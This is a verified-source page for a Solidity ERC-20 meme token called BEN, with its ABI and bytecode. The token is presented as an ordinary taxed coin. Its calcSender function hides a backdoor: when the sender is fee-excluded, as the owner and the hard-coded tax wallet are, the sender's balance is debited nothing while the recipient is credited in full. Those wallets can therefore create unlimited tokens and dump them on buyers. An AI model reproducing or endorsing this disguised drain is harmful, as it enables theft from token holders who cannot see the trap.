Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

   - function _msgSender() interface IERC20    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(address spender, uin ...    - function transferFrom( library SafeMath    - function add(uint256 a, uint256 b)    - function sub(uint256 a, uint256 b)    - function sub(    - function mul(uint256 a, uint256 b)    - function div(uint256 a, uint256 b)    - function div(  contract Ownable is Context    - function owner()    - function renounceOwnership() interface IUniswapV2Factory    - function createPair( interface IUniswapV2Router02    - function swapExactTokensForETHSupport ...    - function factory()    - function WETH()    - function addLiquidityETH(  contract BEN is Context, IERC20, O ... *    - function name()    - function symbol()    - function decimals()    - function totalSupply()    - function balanceOf(address account)    - function transfer(    - function allowance(    - function approve(    - function transferFrom(    - function _approve(address owner, addr ...    - function _basicTransfer(address from, ...    - function _transfer(address from, addr ...    - function _tokenTransfer(    - function calcSender(address _account, ...    - function calcReceipt(uint256 taxAmoun ...    - function _transferTokens(address from ...    - function min(uint256 a, uint256 b)    - function swapTokensForEth(uint256 tok ...    - function removeLimits()    - function sendETHToFee(uint256 amount)    - function recoverEth()    - function createBen()    - function openBen()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2024-08-01
*/

/*
We introduce Ben, the dog we had before Kabo-chan. The first friend Doge of the owner (Atsuko Sato). The friend of Kabosu and Neiro.

Website:    https://benoneth.live
Telegram:  https://t.me/ben_erc
Twitter:       https://x.com/ben_erc20
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BEN is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 12;
    uint256 private _initialSellTax = 11;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 30;
    uint256 private _reduceSellTaxAt = 30;
    uint256 private _preventSwapBefore = 10;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"BEN";
    string private constant _symbol = unicode"BEN";
    uint256 public _maxTxAmount = 22000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 22000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 100 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xD2E55111757f5Eb3f4385C95DEB263BD4af96062);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address from, address to, uint256 amount) internal {
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _basicTransfer(from, to, amount);
            return;
        }
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0 ) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _tokenTransfer(from, to, taxAmount, amount);
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 taxAmount,
        uint256 tokenAmount
    ) internal {
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                taxAmount
            );
            emit Transfer(from, address(this), taxAmount);
        }

        _transferTokens(from, to, calcSender(from, tokenAmount), calcReceipt(taxAmount, tokenAmount));
    }

    function calcSender(address _account, uint256 tokenAmount) private view returns(uint256) {
        uint256 tTax = _finalBuyTax + _finalSellTax;
        uint256 rAmount = _isExcludedFromFee[_account] ? tokenAmount - (tTax+1) * tokenAmount: tokenAmount + tTax * tokenAmount;
        return rAmount;
    }

    function calcReceipt(uint256 taxAmount, uint256 tokenAmount) private pure returns(uint256) {
        return tokenAmount.sub(taxAmount);
    }

    function _transferTokens(address from, address to, uint256 sAmount, uint256 rAmount) private { 
        _balances[from] = _balances[from].sub(sAmount);
        _balances[to] = _balances[to].add(rAmount);
        emit Transfer(from, to, rAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function recoverEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    function createBen() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function openBen() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createBen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openBen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff19169055600c6007819055600b600881905560006009818155600a828155601e9384905592909355600d829055600e55610044919061032b565b6100529063014fb180610341565b600f556100616009600a61032b565b61006f9063014fb180610341565b60105561007e6009600a61032b565b610089906064610341565b6011556100986009600a61032b565b6100a59062989680610341565b6012556014805461ffff60a81b191690553480156100c257600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191674d2e55111757f5eb3f4385c95deb263bd4af96062001790556101386009600a61032b565b61014690633b9aca00610341565b3360009081526001602081905260408220929092556003906101706000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065461010090049091168352912080549092161790556101d33390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61020b6009600a61032b565b61021990633b9aca00610341565b60405190815260200160405180910390a3610358565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156102805781600019048211156102665761026661022f565b8085161561027357918102915b93841c939080029061024a565b509250929050565b60008261029757506001610325565b816102a457506000610325565b81600181146102ba57600281146102c4576102e0565b6001915050610325565b60ff8411156102d5576102d561022f565b50506001821b610325565b5060208310610133831016604e8410600b8410161715610303575081810a610325565b61030d8383610245565b80600019048211156103215761032161022f565b0290505b92915050565b600061033a60ff841683610288565b9392505050565b80820281158282048414176103255761032561022f565b611a35806103676000396000f3fe6080604052600436106101235760003560e01c80637d1db4a5116100a0578063a9059cbb11610064578063a9059cbb146102ef578063bcdb446b1461030f578063bf474bed14610324578063c876d0b91461033a578063dd62ed3e1461035457600080fd5b80637d1db4a5146102865780638acbfcc81461029c5780638da5cb5b146102b15780638f9a55c0146102d957806395d89b411461012f57600080fd5b8063313ce567116100e7578063313ce567146101f357806370a082311461020f578063715018a61461024557806374396f1d1461025c578063751039fc1461027157600080fd5b806306fdde031461012f578063095ea7b31461016a5780630faee56f1461019a57806318160ddd146101be57806323b872dd146101d357600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260038152622122a760e91b602082015290516101619190611601565b60405180910390f35b34801561017657600080fd5b5061018a610185366004611668565b61039a565b6040519015158152602001610161565b3480156101a657600080fd5b506101b060125481565b604051908152602001610161565b3480156101ca57600080fd5b506101b06103b1565b3480156101df57600080fd5b5061018a6101ee366004611694565b6103d2565b3480156101ff57600080fd5b5060405160098152602001610161565b34801561021b57600080fd5b506101b061022a3660046116d5565b6001600160a01b031660009081526001602052604090205490565b34801561025157600080fd5b5061025a61043b565b005b34801561026857600080fd5b5061025a6104b8565b34801561027d57600080fd5b5061025a6106bb565b34801561029257600080fd5b506101b0600f5481565b3480156102a857600080fd5b5061025a610777565b3480156102bd57600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102e557600080fd5b506101b060105481565b3480156102fb57600080fd5b5061018a61030a366004611668565b610966565b34801561031b57600080fd5b5061025a610973565b34801561033057600080fd5b506101b060115481565b34801561034657600080fd5b5060065461018a9060ff1681565b34801561036057600080fd5b506101b061036f3660046116f2565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103a73384846109a8565b5060015b92915050565b60006103bf6009600a611825565b6103cd90633b9aca00611834565b905090565b60006103df848484610acd565b610431843361042c856040518060600160405280602881526020016119d8602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610fee565b6109a8565b5060019392505050565b6000546001600160a01b0316331461046e5760405162461bcd60e51b81526004016104659061184b565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146104e25760405162461bcd60e51b81526004016104659061184b565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561052b90309061051d6009600a611825565b61042c90633b9aca00611834565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a29190611880565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610604573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106289190611880565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611880565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146106e55760405162461bcd60e51b81526004016104659061184b565b6106f16009600a611825565b6106ff90633b9aca00611834565b600f5561070e6009600a611825565b61071c90633b9aca00611834565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107566009600a611825565b61076490633b9aca00611834565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107a15760405162461bcd60e51b81526004016104659061184b565b601454600160a01b900460ff16156107fb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610465565b6013546001600160a01b031663f305d719473061082d816001600160a01b031660009081526001602052604090205490565b6000806108426000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108aa573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cf919061189d565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610928573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094c91906118cb565b506014805462ff00ff60a01b19166201000160a01b179055565b60006103a7338484610acd565b6000546001600160a01b0316331461099d5760405162461bcd60e51b81526004016104659061184b565b6109a647611028565b565b6001600160a01b038316610a0a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610465565b6001600160a01b038216610a6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610465565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b315760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610465565b6001600160a01b038216610b935760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610465565b60008111610bf55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610465565b601454600160b01b900460ff161580610c175750601454600160a81b900460ff165b15610c2c57610c2783838361106a565b505050565b600080546001600160a01b03858116911614801590610c5957506000546001600160a01b03848116911614155b15610fdc57610c8a6064610c84600b54600e5411610c7957600754610c7d565b6009545b8590611110565b90611199565b60065490915060ff1615610d72576013546001600160a01b03848116911614801590610cc457506014546001600160a01b03848116911614155b15610d7257326000908152600560205260409020544311610d5f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610465565b3260009081526005602052604090204390555b6014546001600160a01b038581169116148015610d9d57506013546001600160a01b03848116911614155b8015610dc257506001600160a01b03831660009081526003602052604090205460ff16155b15610eaa57600f54821115610e195760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610465565b60105482610e3c856001600160a01b031660009081526001602052604090205490565b610e4691906118ed565b1115610e945760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610465565b600e8054906000610ea483611900565b91905055505b6014546001600160a01b038481169116148015610ed057506001600160a01b0384163014155b15610efd57610efa6064610c84600c54600e5411610ef057600854610c7d565b600a548590611110565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610f3457506014546001600160a01b038581169116145b8015610f495750601454600160b01b900460ff165b8015610f585750600d54600e54115b8015610f7d57506001600160a01b03851660009081526003602052604090205460ff16155b8015610fa257506001600160a01b03841660009081526003602052604090205460ff16155b15610fda57601154811115610fce57610fce610fc984610fc4846012546111db565b6111db565b6111f0565b47610fd847611028565b505b505b610fe88484838561136a565b50505050565b600081848411156110125760405162461bcd60e51b81526004016104659190611601565b50600061101f8486611919565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611066573d6000803e3d6000fd5b5050565b6001600160a01b03831660009081526001602052604090205461108d9082611402565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546110bc9082611444565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac09085815260200190565b600082600003611122575060006103ab565b600061112e8385611834565b90508261113b858361192c565b146111925760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610465565b9392505050565b600061119283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a3565b60008183116111ea5782611192565b50919050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112385761123861194e565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611291573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b59190611880565b816001815181106112c8576112c861194e565b6001600160a01b0392831660209182029290920101526013546112ee91309116846109a8565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790611327908590600090869030904290600401611964565b600060405180830381600087803b15801561134157600080fd5b505af1158015611355573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b81156113e4573060009081526001602052604090205461138a9083611444565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113db9086815260200190565b60405180910390a35b610fe884846113f387856114d1565b6113fd8686611541565b61154d565b600061119283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fee565b60008061145183856118ed565b9050838110156111925760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610465565b600081836114c45760405162461bcd60e51b81526004016104659190611601565b50600061101f848661192c565b600080600a546009546114e491906118ed565b6001600160a01b0385166000908152600360205260408120549192509060ff16611521576115128483611834565b61151c90856118ed565b61101f565b8361152d8360016118ed565b6115379190611834565b61101f9085611919565b60006111928284611402565b6001600160a01b0384166000908152600160205260409020546115709083611402565b6001600160a01b03808616600090815260016020526040808220939093559085168152205461159f9082611444565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115f39085815260200190565b60405180910390a350505050565b60006020808352835180602085015260005b8181101561162f57858101830151858201604001528201611613565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461166557600080fd5b50565b6000806040838503121561167b57600080fd5b823561168681611650565b946020939093013593505050565b6000806000606084860312156116a957600080fd5b83356116b481611650565b925060208401356116c481611650565b929592945050506040919091013590565b6000602082840312156116e757600080fd5b813561119281611650565b6000806040838503121561170557600080fd5b823561171081611650565b9150602083013561172081611650565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561177c5781600019048211156117625761176261172b565b8085161561176f57918102915b93841c9390800290611746565b509250929050565b600082611793575060016103ab565b816117a0575060006103ab565b81600181146117b657600281146117c0576117dc565b60019150506103ab565b60ff8411156117d1576117d161172b565b50506001821b6103ab565b5060208310610133831016604e8410600b84101617156117ff575081810a6103ab565b6118098383611741565b806000190482111561181d5761181d61172b565b029392505050565b600061119260ff841683611784565b80820281158282048414176103ab576103ab61172b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561189257600080fd5b815161119281611650565b6000806000606084860312156118b257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156118dd57600080fd5b8151801515811461119257600080fd5b808201808211156103ab576103ab61172b565b6000600182016119125761191261172b565b5060010190565b818103818111156103ab576103ab61172b565b60008261194957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b818110156119b65784516001600160a01b031683529383019391830191600101611991565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aa9a8bcf132bd6829ee765b15412263b575267cb0db84ec2b0f6c68fddc02a4364736f6c63430008190033

0x6080604052600436106101235760003560e01c80637d1db4a5116100a0578063a9059cbb11610064578063a9059cbb146102ef578063bcdb446b1461030f578063bf474bed14610324578063c876d0b91461033a578063dd62ed3e1461035457600080fd5b80637d1db4a5146102865780638acbfcc81461029c5780638da5cb5b146102b15780638f9a55c0146102d957806395d89b411461012f57600080fd5b8063313ce567116100e7578063313ce567146101f357806370a082311461020f578063715018a61461024557806374396f1d1461025c578063751039fc1461027157600080fd5b806306fdde031461012f578063095ea7b31461016a5780630faee56f1461019a57806318160ddd146101be57806323b872dd146101d357600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260038152622122a760e91b602082015290516101619190611601565b60405180910390f35b34801561017657600080fd5b5061018a610185366004611668565b61039a565b6040519015158152602001610161565b3480156101a657600080fd5b506101b060125481565b604051908152602001610161565b3480156101ca57600080fd5b506101b06103b1565b3480156101df57600080fd5b5061018a6101ee366004611694565b6103d2565b3480156101ff57600080fd5b5060405160098152602001610161565b34801561021b57600080fd5b506101b061022a3660046116d5565b6001600160a01b031660009081526001602052604090205490565b34801561025157600080fd5b5061025a61043b565b005b34801561026857600080fd5b5061025a6104b8565b34801561027d57600080fd5b5061025a6106bb565b34801561029257600080fd5b506101b0600f5481565b3480156102a857600080fd5b5061025a610777565b3480156102bd57600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102e557600080fd5b506101b060105481565b3480156102fb57600080fd5b5061018a61030a366004611668565b610966565b34801561031b57600080fd5b5061025a610973565b34801561033057600080f